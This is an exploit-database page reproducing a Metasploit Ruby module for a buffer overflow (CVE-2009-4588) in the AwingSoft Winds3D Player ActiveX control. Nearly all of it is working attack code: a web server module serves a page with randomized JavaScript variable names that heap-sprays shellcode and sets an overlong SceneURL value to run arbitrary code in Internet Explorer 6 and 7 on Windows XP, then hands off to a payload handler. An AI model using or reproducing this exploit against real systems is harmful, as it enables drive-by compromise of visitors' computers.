AwingSoft Winds3D Player – SceneURL Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-04-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16524/
  • ##
    # $Id: awingsoft_web3d_bof.rb 9179 2010-04-30 08:40:19Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    ##
    # awingsoft_web3d_bof.rb
    #
    # AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
    #
    # Tested successfully on the following platforms:
    #- Internet Explorer 6, Windows XP SP2
    #- Internet Explorer 7, Windows XP SP3
    #
    # WindsPly.ocx versions tested:
    #- 3.0.0.5
    #- 3.5.0.0
    #- 3.6.0.0 (beta)
    #
    # Trancer
    # http://www.rec-sec.com
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a data segment buffer overflow within Winds3D Viewer of
    				AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
    				AwingSoft Web3D Player.
    				By setting an overly long value to the 'SceneURL' property, an attacker can
    				overrun a buffer and execute arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'shinnai <shinnai[at]autistici.org>',	# Original exploit [see References]
    					'Trancer <mtrancer[at]gmail.com>',		# Metasploit implementation
    					'jduck'
    				],
    			'Version'=> '$Revision: 9179 $',
    			'References' =>
    				[
    					[ 'CVE', '2009-4588' ],
    					[ 'OSVDB', '60017' ],
    					[ 'URL', 'http://www.milw0rm.com/exploits/9116' ],
    					[ 'URL', 'http://www.shinnai.net/exploits/nsGUdeley3EHfKEV690p.txt' ],
    					[ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process'
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00\x09\x0a\x0d'\\",
    					'StackAdjustment' => -3500
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					# data segment size: 76180
    					# crasher offsets: 2640, 2712, 8984, 68420, 68424
    					[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]
    				],
    			'DisclosureDate' => 'Jul 10 2009',
    			'DefaultTarget'=> 0))
    	end
    
    	def on_request_uri(cli, request)
    
    		# Re-generate the payload
    		return if ((p = regenerate_payload(cli)) == nil)
    
    		# Encode the shellcode
    		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    		# Setup exploit buffers
    		nops 	= Rex::Text.to_unescape([target.ret].pack('V'))
    		ret	= Rex::Text.uri_encode([target.ret].pack('V'))
    		blocksize = 0x40000
    		fillto= 500
    		offset 	= target['Offset']
    
    		# Randomize the javascript variable names
    		winds3d= rand_text_alpha(rand(100) + 1)
    		j_shellcode= rand_text_alpha(rand(100) + 1)
    		j_nops = rand_text_alpha(rand(100) + 1)
    		j_ret= rand_text_alpha(rand(100) + 1)
    		j_headersize = rand_text_alpha(rand(100) + 1)
    		j_slackspace = rand_text_alpha(rand(100) + 1)
    		j_fillblock= rand_text_alpha(rand(100) + 1)
    		j_block= rand_text_alpha(rand(100) + 1)
    		j_memory = rand_text_alpha(rand(100) + 1)
    		j_counter= rand_text_alpha(rand(30) + 2)
    
    		# we must leave the page, so we use http-equiv and javascript refresh methods
    		html = %Q|<html>
    <head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>
    <object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
    <script>
    #{j_shellcode}=unescape('#{shellcode}');
    #{j_nops}=unescape('#{nops}');
    #{j_headersize}=20;
    #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
    while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
    #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
    #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
    while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
    #{j_memory}=new Array();
    for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
    
    var #{j_ret} = unescape('#{ret}');
    while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }
    #{winds3d}.SceneURL = #{j_ret};
    setTimeout('window.location = "#{get_resource}";', 500);
    </script>
    </html>
    |
    
    		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    
    		# Transmit the response to the client
    		send_response(cli, html, { 'Content-Type' => 'text/html' })
    
    		# Handle the payload
    		handler(cli)
    	end
    end